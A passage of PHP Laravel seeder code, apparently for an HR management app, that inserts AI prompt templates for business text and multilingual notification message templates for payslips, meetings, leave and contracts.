a job descriptions for a ##position## position. The job description should include responsibilities such as ##responsibilities##. Please ensure the descriptions are concise, informative, and accurately reflect the key responsibilities of a ##position##.", 'module' => 'job', 'field_json' => '{"field":[{"label":"Position","placeholder":"job for a position","field_type":"text_box","field_name":"position"},{"label":"Responsibilities","placeholder":"","field_type":"textarea","field_name":"responsibilities"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'requirement', 'prompt' => "Generate a comma-separated string of job requirements for a ##position## position. The requirements should include ##description##. Please provide the requirements in a comma-separated string format.", 'module' => 'job', 'field_json' => '{"field":[{"label":"Position","placeholder":"requirement of job","field_type":"text_box","field_name":"position"},{"label":"Description","placeholder":"","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'comment', 'prompt' => "Generate an announcement title for ##comment##. The title should be attention-grabbing and informative, effectively conveying the key message to the intended audience. Please ensure the title is appropriate for the given situation, whether it's about a ##comment##. Aim to create a title that captures the essence of the announcement and sparks interest or curiosity among the readers.", 'module' => 'interview-schedule', 'field_json' => '{"field":[{"label":"Interview Schedule Comment","placeholder":"e.g.Growth Opportunities","field_type":"textarea","field_name":"comment"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a creative and engaging event title for an upcoming event. The event can be a ##name##. Please focus on creating a title that captures the essence of the event, sparks curiosity, and encourages attendance. Aim to make the title memorable, intriguing, and aligned with the purpose and theme of the event. Consider the target audience, event objectives, and any specific keywords or ideas you would like to incorporate", 'module' => 'event', 'field_json' => '{"field":[{"label":"Specific type of event","placeholder":"e.g.conference, workshop, seminar","field_type":"text_box","field_name":"name"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a meeting title that is catchy and informative. The title should effectively convey the purpose and focus of the meeting, whether it's for ##description##. Please aim to create a title that grabs the attention of participants, reflects the importance of the meeting, and provides a clear understanding of what will be discussed or accomplished during the session.", 'module' => 'event', 'field_json' => '{"field":[{"label":"Event Description","placeholder":"e.g.conference, workshop","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a meeting title that is catchy and informative. The title should effectively convey the purpose and focus of the meeting, whether it's for ##purpose##. Please aim to create a title that grabs the attention of participants, reflects the importance of the meeting, and provides a clear understanding of what will be discussed or accomplished during the session.", 'module' => 'meeting', 'field_json' => '{"field":[{"label":"Meeting purpose","placeholder":"e.g.conference, workshop","field_type":"text_box","field_name":"purpose"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'note', 'prompt' => "Generate a meeting title that is catchy and informative. The title should effectively convey the purpose and focus of the meeting, whether it's for ##note##. Please aim to create a title that grabs the attention of participants, reflects the importance of the meeting, and provides a clear understanding of what will be discussed or accomplished during the session.", 'module' => 'meeting', 'field_json' => '{"field":[{"label":"Meeting Note","placeholder":"e.g.conference, workshop","field_type":"textarea","field_name":"note"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a meeting title that is catchy and informative. The title should effectively convey the purpose and focus of the meeting, whether it's for ##title##. Please aim to create a title that grabs the attention of participants, reflects the importance of the meeting, and provides a clear understanding of what will be discussed or accomplished during the session.", 'module' => 'zoom-meeting', 'field_json' => '{"field":[{"label":"Zoom Meeting Title","placeholder":"e.g.conference, workshop","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a descriptive response for a given ##title##. The response should be detailed, engaging, and informative, providing relevant information and capturing the reader's interest", 'module' => 'account-assets', 'field_json' => '{"field":[{"label":"Asset Description","placeholder":"HR may provide some devices ","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "Generate a description based on a given document name:##title##. The document name: ##title## represents a specific file or document, and you need a descriptive summary or overview of its contents. Please provide a clear and concise description that captures the main points, purpose, or key information contained within the document. Aim to create a brief but informative description that gives the reader an understanding of what they can expect when accessing or reviewing the document.", 'module' => 'document-upload', 'field_json' => '{"field":[{"label":"Document Description","placeholder":"e.g. Employee handbook","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "Generate a suitable title for the company policy regarding ##description##. The title should be clear, concise, and informative, effectively conveying the purpose and scope of the policy. Please ensure that the title reflects the importance of ##description##. Aim to create a title that is professional, easily understandable, and aligned with the company's culture and values.", 'module' => 'company-policy', 'field_json' => '{"field":[{"label":"Description of policy","placeholder":"e.g.Leave policies,Performance management","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "generate description for this title ##title##", 'module' => 'company-policy', 'field_json' => '{"field":[{"label":" Company Policy Description ","placeholder":"e.g.Accounts Receivable,Office Equipment","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'subject', 'prompt' => "generate contract subject for this contract description ##description##", 'module' => 'contract', 'field_json' => '{"field":[{"label":"Contract Subject","placeholder":"e.g.Terms and Conditions","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "generate contract description for this contract subject ##subject##", 'module' => 'contract', 'field_json' => '{"field":[{"label":"Contract Description","placeholder":"e.g.Legal Protection,Terms and Conditions","field_type":"textarea","field_name":"subject"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'title', 'prompt' => "generate example of subject for bug in ecommerce base website support ticket", 'module' => 'ticket', 'field_json' => '{"field":[{"label":"Ticket Subject","placeholder":"e.g.Bug Summary","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "generate support ticket description of subject for ##description## ", 'module' => 'ticket', 'field_json' => '{"field":[{"label":"Ticket Description","placeholder":"e.g.Error Message Displayed","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'content', 'prompt' => "Generate a meeting notification message for an ##topic## meeting. Include the date, time, location, and a brief agenda with three key discussion points.", 'module' => 'notification-templates', 'field_json' => '{"field":[{"label":"Notification Message","placeholder":"e.g.brief explanation of the purpose or background of the notification","field_type":"textarea","field_name":"topic"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'name', 'prompt' => "please suggest subscription plan name for this : ##description## for my business", 'module' => 'plan', 'field_json' => '{"field":[{"label":"What is your plan about?","placeholder":"e.g. Describe your plan details ","field_type":"textarea","field_name":"description"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'description', 'prompt' => "please suggest subscription plan description for this : ##title##: for my business", 'module' => 'plan', 'field_json' => '{"field":[{"label":"What is your plan title?","placeholder":"e.g. Pro Resller,Exclusive Access","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'name', 'prompt' => "give 10 catchy only name of Offer or discount Coupon for : ##keywords##", 'module' => 'coupon', 'field_json' => '{"field":[{"label":"Seed words","placeholder":"e.g.coupon will provide you with a discount on your selected plan","field_type":"text_box","field_name":"keywords"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'meta_title', 'prompt' => "Write SEO meta title for:\n\n ##description## \n\nWebsite name is:\n ##title## \n\nSeed words:\n ##keywords## \n\n", 'module' => 'seo', 'field_json' => '{"field":[{"label":"Website Name","placeholder":"e.g. Amazon, Google","field_type":"text_box","field_name":"title"},{"label":"Website Description","placeholder":"e.g. Describe what your website or business do","field_type":"textarea","field_name":"description"},{"label":"Keywords","placeholder":"e.g. cloud services, databases","field_type":"text_box","field_name":"keywords"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'meta_description', 'prompt' => "Write SEO meta description for:\n\n ##description## \n\nWebsite name is:\n ##title## \n\nSeed words:\n ##keywords## \n\n", 'module' => 'seo', 'field_json' => '{"field":[{"label":"Website Name","placeholder":"e.g. Amazon, Google","field_type":"text_box","field_name":"title"},{"label":"Website Description","placeholder":"e.g. Describe what your website or business do","field_type":"textarea","field_name":"description"},{"label":"Keywords","placeholder":"e.g. cloud services, databases","field_type":"text_box","field_name":"keywords"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'cookie_title', 'prompt' => "please suggest me cookie title for this ##description## website which i can use in my website cookie", 'module' => 'cookie', 'field_json' => '{"field":[{"label":"Website name or info","placeholder":"e.g. example website ","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'cookie_description', 'prompt' => "please suggest me Cookie description for this cookie title ##title## which i can use in my website cookie", 'module' => 'cookie', 'field_json' => '{"field":[{"label":"Cookie Title ","placeholder":"e.g. example website ","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'strictly_cookie_title', 'prompt' => "please suggest me only Strictly Cookie Title for this ##description## website which i can use in my website cookie", 'module' => 'cookie', 'field_json' => '{"field":[{"label":"Website name or info","placeholder":"e.g. example website ","field_type":"textarea","field_name":"title"}]}', 'is_tone' => '0', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'strictly_cookie_description', 'prompt' => "please suggest me Strictly Cookie description for this Strictly cookie title ##title## which i can use in my website cookie", 'module' => 'cookie', 'field_json' => '{"field":[{"label":"Strictly Cookie Title ","placeholder":"e.g. example website ","field_type":"text_box","field_name":"title"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'more_information_description', 'prompt' => "I need assistance in crafting compelling content for my ##web_name## website's 'Contact Us' page of my website. The page should provide relevant information to users, encourage them to reach out for inquiries, support, and feedback, and reflect the unique value proposition of my business.", 'module' => 'cookie', 'field_json' => '{"field":[{"label":"Websit Name","placeholder":"e.g. example website ","field_type":"text_box","field_name":"web_name"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'content', 'prompt' => "generate email template for ##type##", 'module' => 'email template', 'field_json' => '{"field":[{"label":"Email Type","placeholder":"e.g. new user,new client","field_type":"text_box","field_name":"type"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'contract_description', 'prompt' => "generate contract brief description for title '##contract_description##' and cover all point that sutiable to contract title", 'module' => 'contracts', 'field_json' => '{"field":[{"label":"Contract Description","placeholder":"e.g. product return condition ","field_type":"textarea","field_name":"contract_description"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'comment', 'prompt' => "generate short and valuable comment for contract title '##name##' and focus on this ##comment##", 'module' => 'contracts', 'field_json' => '{"field":[{"label":"Contract Comment","placeholder":"e.g. product return condition ","field_type":"textarea","field_name":"comment"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], [ 'template_name' => 'note', 'prompt' => "generate short and valuable note for contract title '##note##'", 'module' => 'contracts', 'field_json' => '{"field":[{"label":"Contract Name","placeholder":"e.g. product return condition ","field_type":"textarea","field_name":"note"}]}', 'is_tone' => '1', "created_at" => date('Y-m-d H:i:s'), "updated_at" => date('Y-m-d H:i:s'), ], ]; Template::insert($template); } } NotificationSeeder.php000064400000054767150364316420011062 0ustar00 'New Monthly Payslip', 'new_announcement' => 'New Announcement', 'new_meeting' => 'New Meeting', 'new_award' => 'New Award', 'new_holidays' => 'New Holidays', 'new_company_policy' => 'New Company Policy', 'new_ticket' => 'New Ticket', 'new_event' => 'New Event', 'leave_approve_reject' => 'Leave Approve/Reject', 'new_trip' => 'New Trip', 'contract_notification' => 'New Contract', ]; $defaultTemplate = [ 'new_monthly_payslip' => [ 'variables' => '{ "Year": "year" }', 'lang' => [ 'ar' => 'تم إنشاء قسيمة دفع بتاريخ {year}.', 'da' => 'Lønseddel genereret af {year}.', 'de' => 'Gehaltsabrechnung erstellt vom {year}.', 'en' => 'Payslip generated of {year}.', 'es' => 'Nómina generada de {year}.', 'fr' => 'Fiche de paie générée de {year}.', 'it' => 'Busta paga generata da {year}.', 'ja' => '{year} の給与明細が作成されました。', 'nl' => 'Loonstrook gegenereerd van {year}.', 'pl' => 'Odcinek wypłaty wygenerowany za {year}.', 'pt' => 'Folha de pagamento gerada de {year}.', 'ru' => 'Расчетная ведомость создана за {year}.', 'tr' => 'oluşturulan maaş bordrosu {year}.', 'zh' => '生成的工资单 {year}', 'he' => 'תלוש שכר שנוצר מ {year}.', 'pt-br' => 'Folha de pagamento gerada de {year}.', ] ], 'new_announcement' => [ 'variables' => '{ "Announcement Title": "announcement_title", "Branch name": "branch_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'ar' => '{announcement_title} إعلان تم إنشاؤه للفرع {branch_name} من {start_date} ل {end_date}', 'da' => '{announcement_title} meddelelse oprettet for filial {branch_name} fra {start_date} to {end_date}', 'de' => '{announcement_title} Ankündigung für Filiale erstellt {branch_name} aus {start_date} Zu {end_date}', 'en' => '{announcement_title} announcement created for branch {branch_name} from {start_date} to {end_date}', 'es' => '{announcement_title} anuncio creado para sucursal {branch_name} de {start_date} a {end_date}', 'fr' => "{announcement_title} annonce créée pour la filiale {branch_name} depuis {start_date} pour {end_date}", 'it' => '{announcement_title} annuncio creato per branch {branch_name} da {start_date} A {end_date}', 'ja' => '{announcement_title} ブランチ用に作成されたお知らせ {branch_name} から {start_date} に {end_date}', 'nl' => '{announcement_title} aankondiging gemaakt voor filiaal {branch_name} van {start_date} naar {end_date}', 'pl' => '{announcement_title} ogłoszenie stworzone dla oddziału {branch_name} z {start_date} Do {end_date}', 'pt' => '{announcement_title} anúncio criado para filial {branch_name} de {start_date} para {end_date}', 'ru' => '{announcement_title} объявление создано для ветки {branch_name} от {start_date} к {end_date}', 'tr' => '{announcement_title} şube için oluşturulan duyuru {branch_name} itibaren {start_date} ile {end_date}', 'zh' => '{announcement_title} 为分支机构创建的公告 {branch_name} 从 {start_date} 到 {end_date}', 'he' => '{announcement_title} הודעה נוצרה עבור הסניף {branch_name} מ {start_date} ל {end_date}', 'pt-br' => '{announcement_title} anúncio criado para filial {branch_name} de {start_date} para {end_date}', ], ], 'new_meeting' => [ 'variables' => '{ "Meeting title": "meeting_title", "Branch name": "branch_name", "Date": "date", "Time": "time" }', 'lang' => [ 'ar' => '{meeting_title} تم إنشاء الاجتماع لـ {branch_name} من {date} في {time}.', 'da' => '{meeting_title} møde oprettet til {branch_name} fra {date} på {time}.', 'de' => '{meeting_title} Besprechung erstellt für {branch_name} aus {date} bei {time}.', 'en' => '{meeting_title} meeting created for {branch_name} from {date} at {time}.', 'es' => '{meeting_title} reunión creada para {branch_name} de {date} en {time}.', 'fr' => "{meeting_title} réunion créée pour {branch_name} depuis {date} à {time}.", 'it' => '{meeting_title} incontro creato per {branch_name} da {date} A {time}.', 'ja' => '{meeting_title} のために作成された会議 {branch_name} から {date} で {time}.', 'nl' => '{meeting_title} bijeenkomst gemaakt voor {branch_name} van {date} bij {time}.', 'pl' => '{meeting_title} spotkanie stworzone dla {branch_name} z {date} Na {time}.', 'pt' => '{meeting_title} reunião criada para {branch_name} de {date} no {time}.', 'ru' => '{meeting_title} встреча создана для {branch_name} от {date} в {time}.', 'tr' => '{meeting_title} için oluşturulan toplantı {branch_name} itibaren {date} de {time}.', 'zh' => '{meeting_title} 为以下目的创建的会议 {branch_name} 从 {date} 在 {time}.', 'he' => '{meeting_title} פגישה נוצרה עבור {branch_name} מ {date} בְּ- {time}.', 'pt-br' => '{meeting_title} reunião criada para {branch_name} de {date} no {time}.', ], ], 'new_award' => [ 'variables' => '{ "Award name": "award_name", "Employee Name": "employee_name", "Date": "date" }', 'lang' => [ 'ar' => '{award_name} خلقت ل {employee_name} من {date}.', 'da' => '{award_name} skabt til {employee_name} fra {date}.', 'de' => '{award_name} hergestellt für {employee_name} aus {date}.', 'en' => '{award_name} created for {employee_name} from {date}.', 'es' => '{award_name} creado para {employee_name} de {date}.', 'fr' => '{award_name} créé pour {employee_name} depuis {date}.', 'it' => '{award_name} creato per {employee_name} da {date}.', 'ja' => '{award_name} のために作成された {employee_name} から {date}.', 'nl' => '{award_name} gemaakt voor {employee_name} van {date}.', 'pl' => '{award_name} stworzone dla {employee_name} z {date}.', 'pt' => '{award_name} criado para {employee_name} de {date}.', 'ru' => '{award_name} предназначен для {employee_name} от {date}.', 'tr' => '{award_name} için yaratıldı {employee_name} itibaren {date}.', 'zh' => '{award_name} 已创建 为了 {employee_name} 从 {date}.', 'he' => '{award_name} נוצר עבור {employee_name} מ {date}.', 'pt-br' => '{award_name} criado para {employee_name} de {date}.', ], ], 'new_holidays' => [ 'variables' => '{ "Occasion name": "occasion_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'ar' => '{occasion_name} على {start_date} ل {end_date}.', 'da' => '{occasion_name} på {start_date} til {end_date}.', 'de' => '{occasion_name} An {start_date} Zu {end_date}.', 'en' => '{occasion_name} on {start_date} to {end_date}.', 'es' => '{occasion_name} en {start_date} a {end_date}.', 'fr' => '{occasion_name} sur {start_date} pour {end_date}.', 'it' => '{occasion_name} SU {start_date} A {end_date}.', 'ja' => '{occasion_name} の上 {start_date} に {end_date}.', 'nl' => '{occasion_name} op {start_date} naar {end_date}.', 'pl' => '{occasion_name} NA {start_date} Do {end_date}.', 'pt' => '{occasion_name} sobre {start_date} para {end_date}.', 'ru' => '{occasion_name} на {start_date} к {end_date}.', 'tr' => '{occasion_name} Açık {start_date} ile {end_date}.', 'zh' => '{occasion_name} 在 {start_date} 到 {end_date}.', 'he' => '{occasion_name} עַל {start_date} ל {end_date}.', 'pt-br' => '{occasion_name} sobre {start_date} para {end_date}.', ], ], 'new_company_policy' => [ 'variables' => '{ "Company policy name": "company_policy_name", "Branch name": "branch_name" }', 'lang' => [ 'ar' => '{company_policy_name} ل {branch_name} مخلوق.', 'da' => '{company_policy_name} til {branch_name} oprettet.', 'de' => '{company_policy_name} für {branch_name} erstellt.', 'en' => '{company_policy_name} for {branch_name} created.', 'es' => '{company_policy_name} para {branch_name} creada.', 'fr' => '{company_policy_name} pour {branch_name} créé.', 'it' => '{company_policy_name} per {branch_name} creata.', 'ja' => '{company_policy_name} ために {branch_name} 作成した.', 'nl' => '{company_policy_name} voor {branch_name} gemaakt.', 'pl' => '{company_policy_name} Do {branch_name} Utworzony.', 'pt' => '{company_policy_name} para {branch_name} criada.', 'ru' => '{company_policy_name} для {branch_name} созданный.', 'tr' => '{company_policy_name} için {branch_name} oluşturuldu.', 'zh' => '{company_policy_name} 为了 {branch_name} 已创建.', 'he' => '{company_policy_name} ל {branch_name} נוצר.', 'pt-br' => '{company_policy_name} para {branch_name} criada.', ], ], 'new_ticket' => [ 'variables' => '{ "Ticket priority": "ticket_priority", "Employee Name": "employee_name" }', 'lang' => [ 'ar' => 'تم إنشاء تذكرة دعم جديدة من {ticket_priority} الأولوية ل {employee_name}.', 'da' => 'Ny supportbillet oprettet af {ticket_priority} prioritet for {employee_name}.', 'de' => 'Neues Support-Ticket erstellt von {ticket_priority} Priorität für {employee_name}.', 'en' => 'New Support ticket created of {ticket_priority} priority for {employee_name}.', 'es' => 'Nuevo ticket de soporte creado de {ticket_priority} prioridad para {employee_name}.', 'fr' => 'Nouveau ticket de support créé de {ticket_priority} priorité pour {employee_name}.', 'it' => 'Nuovo ticket di supporto creato da {ticket_priority} priorità per {employee_name}.', 'ja' => 'の新しいサポート チケットが作成されました {ticket_priority} の優先順位 {employee_name}.', 'nl' => 'Nieuw supportticket gemaakt van {ticket_priority} prioriteit voor {employee_name}.', 'pl' => 'Utworzono nowe zgłoszenie do pomocy technicznej {ticket_priority} priorytet dla {employee_name}.', 'pt' => 'Novo ticket de suporte criado de {ticket_priority} prioridade para {employee_name}.', 'ru' => 'Создан новый тикет в службу поддержки {ticket_priority} приоритет для {employee_name}.', 'tr' => 'Şunun için yeni Destek bileti oluşturuldu {ticket_priority} için öncelik {employee_name}.', 'zh' => '新的支持票证创建于 {ticket_priority} 优先于 {employee_name}.', 'he' => 'כרטיס תמיכה חדש נוצר מ {ticket_priority} עדיפות עבור {employee_name}.', 'pt-br' => 'Novo ticket de suporte criado de {ticket_priority} prioridade para {employee_name}.', ], ], 'new_event' => [ 'variables' => '{ "Event name": "event_name", "Branch name": "branch_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'ar' => '{event_name} للفرع {branch_name} من {start_date} ل {end_date}', 'da' => '{event_name} for filial {branch_name} fra {start_date} til {end_date}', 'de' => '{event_name} für Filiale {branch_name} aus {start_date} Zu {end_date}', 'en' => '{event_name} for branch {branch_name} from {start_date} to {end_date}', 'es' => '{event_name} para rama {branch_name} de {start_date} a {end_date}', 'fr' => '{event_name} pour la branche {branch_name} depuis {start_date} pour {end_date}', 'it' => '{event_name} per ramo {branch_name} da {start_date} A {end_date}', 'ja' => '{event_name} 支店用 {branch_name} から {start_date} に {end_date}', 'nl' => '{event_name} voor filiaal {branch_name} van {start_date} naar {end_date}', 'pl' => '{event_name} dla oddziału {branch_name} z {start_date} Do {end_date}', 'pt' => '{event_name} para ramo {branch_name} de {start_date} para {end_date}', 'ru' => '{event_name} для филиала {branch_name} от {start_date} к {end_date}', 'tr' => '{event_name} şube için {branch_name} itibaren {start_date} ile {end_date}', 'zh' => '{event_name} 对于分支机构 {branch_name} 从 {start_date} 到 {end_date}', 'he' => '{event_name} עבור סניף {branch_name} מ {start_date} ל {end_date}', 'pt-br' => '{event_name} para ramo {branch_name} de {start_date} para {end_date}', ], ], 'leave_approve_reject' => [ 'variables' => '{ "Leave Status": "leave_status" }', 'lang' => [ 'ar' => 'لقد كانت إجازتك {leave_status}.', 'da' => 'Din orlov har været {leave_status}.', 'de' => 'Ihr Urlaub war {leave_status}.', 'en' => 'Your leave has been {leave_status}.', 'es' => 'Tu permiso ha sido {leave_status}.', 'fr' => 'Votre congé a été {leave_status}.', 'it' => 'Il tuo congedo è stato {leave_status}.', 'ja' => 'あなたの休暇は {leave_status}.', 'nl' => 'Je verlof is geweest {leave_status}.', 'pl' => 'Twój urlop był {leave_status}.', 'pt' => 'sua licença foi {leave_status}.', 'ru' => 'Ваш отпуск был {leave_status}.', 'tr' => 'İzniniz oldu {leave_status}.', 'zh' => '你的假期已经 {leave_status}.', 'he' => 'החופש שלך היה {leave_status}.', 'pt-br' => 'sua licença foi {leave_status}.', ], ], 'new_trip' => [ 'variables' => '{ "Purpose of visit": "purpose_of_visit", "Place of visit": "place_of_visit", "Employee Name": "employee_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'ar' => '{purpose_of_visit} تم إنشاؤه للزيارة {place_of_visit} ل {employee_name} من {start_date} ل {end_date}.', 'da' => '{purpose_of_visit} er skabt til at besøge {place_of_visit} til {employee_name} fra {start_date} til {end_date}.', 'de' => '{purpose_of_visit} ist zum Besuchen angelegt {place_of_visit} für {employee_name} aus {start_date} Zu {end_date}.', 'en' => '{purpose_of_visit} is created to visit {place_of_visit} for {employee_name} from {start_date} to {end_date}.', 'es' => '{purpose_of_visit} se crea para visitar {place_of_visit} para {employee_name} de {start_date} a {end_date}.', 'fr' => '{purpose_of_visit} est créé pour visiter {place_of_visit} pour {employee_name} depuis {start_date} pour {end_date}.', 'it' => '{purpose_of_visit} è creato per visitare {place_of_visit} for {employee_name} per {start_date} A {end_date}.', 'ja' => '{purpose_of_visit} 訪問するために作成されます {place_of_visit} ために {employee_name} から {start_date} に {end_date}.', 'nl' => '{purpose_of_visit} is gemaakt om te bezoeken {place_of_visit} voor {employee_name} van {start_date} naar {end_date}.', 'pl' => '{purpose_of_visit} jest stworzony do zwiedzania {place_of_visit} Do {employee_name} z {start_date} Do {end_date}.', 'pt' => '{purpose_of_visit} é criado para visitar {place_of_visit} para {employee_name} de {start_date} para {end_date}.', 'ru' => '{purpose_of_visit} создан для посещения {place_of_visit} для {employee_name} от {start_date} к {end_date}.', 'tr' => '{purpose_of_visit} ziyaret etmek için yaratılmıştır {place_of_visit} için {employee_name} itibaren {start_date} ile {end_date}.', 'zh' => '{purpose_of_visit} 被创建来访问 {place_of_visit} 为了 {employee_name} 从 {start_date} 到 {end_date}.', 'he' => '{purpose_of_visit} נוצר כדי לבקר {place_of_visit} ל {employee_name} מ {start_date} ל {end_date}.', 'pt-br' => '{purpose_of_visit} é criado para visitar {place_of_visit} para {employee_name} de {start_date} para {end_date}.', ], ], 'contract_notification' => [ 'variables' => '{ "Contract number": "contract_number", "Contract company name": "contract_company_name" }', 'lang' => [ 'ar' => 'تم إنشاء الفاتورة الجديدة {contract_number} بواسطة {contract_company_name}.', 'da' => 'Ny faktura {contract_number} oprettet af {contract_company_name}.', 'de' => 'Neue Rechnung {contract_number} erstellt von {contract_company_name}.', 'en' => 'New Invoice {contract_number} created by {contract_company_name}.', 'es' => 'Nueva factura {contract_number} creada por {contract_company_name}.', 'fr' => 'Nouvelle facture {contract_number} créée par {contract_company_name}.', 'it' => 'Nuova fattura {contract_number} creata da {contract_company_name}.', 'ja' => '{contract_company_name} によって作成された新しい請求書 {contract_number}。', 'nl' => 'Nieuwe factuur {contract_number} gemaakt door {contract_company_name}.', 'pl' => 'Nowa faktura {contract_number} utworzona przez firmę {contract_company_name}.', 'pt' => 'Nova fatura {contract_number} criada por {contract_company_name}.', 'ru' => 'Новый счет {contract_number}, созданный {contract_company_name}.', 'tr' => 'Yeni fatura {contract_number} tarafından yaratıldı {contract_company_name}.', 'zh' => '新发票 {contract_number} 由...制作 {contract_company_name}.', 'he' => 'חשבונית חדשה {contract_number} נוצר על ידי {contract_company_name}.', 'pt-br' => 'Nova fatura {contract_number} criada por {contract_company_name}.', ], ], ]; // $user = User::where('type', 'super admin')->first(); foreach ($notifications as $k => $n) { $ntfy = NotificationTemplates::where('slug', $k)->count(); if ($ntfy == 0) { $new = new NotificationTemplates(); $new->name = $n; $new->slug = $k; $new->save(); foreach ($defaultTemplate[$k]['lang'] as $lang => $content) { NotificationTemplateLangs::create( [ 'parent_id' => $new->id, 'lang' => $lang, 'variables' => $defaultTemplate[$k]['variables'], 'content' => $content, // 'created_by' => !empty($user) ? $user->id : 1, 'created_by' => 1, ] ); } } } } }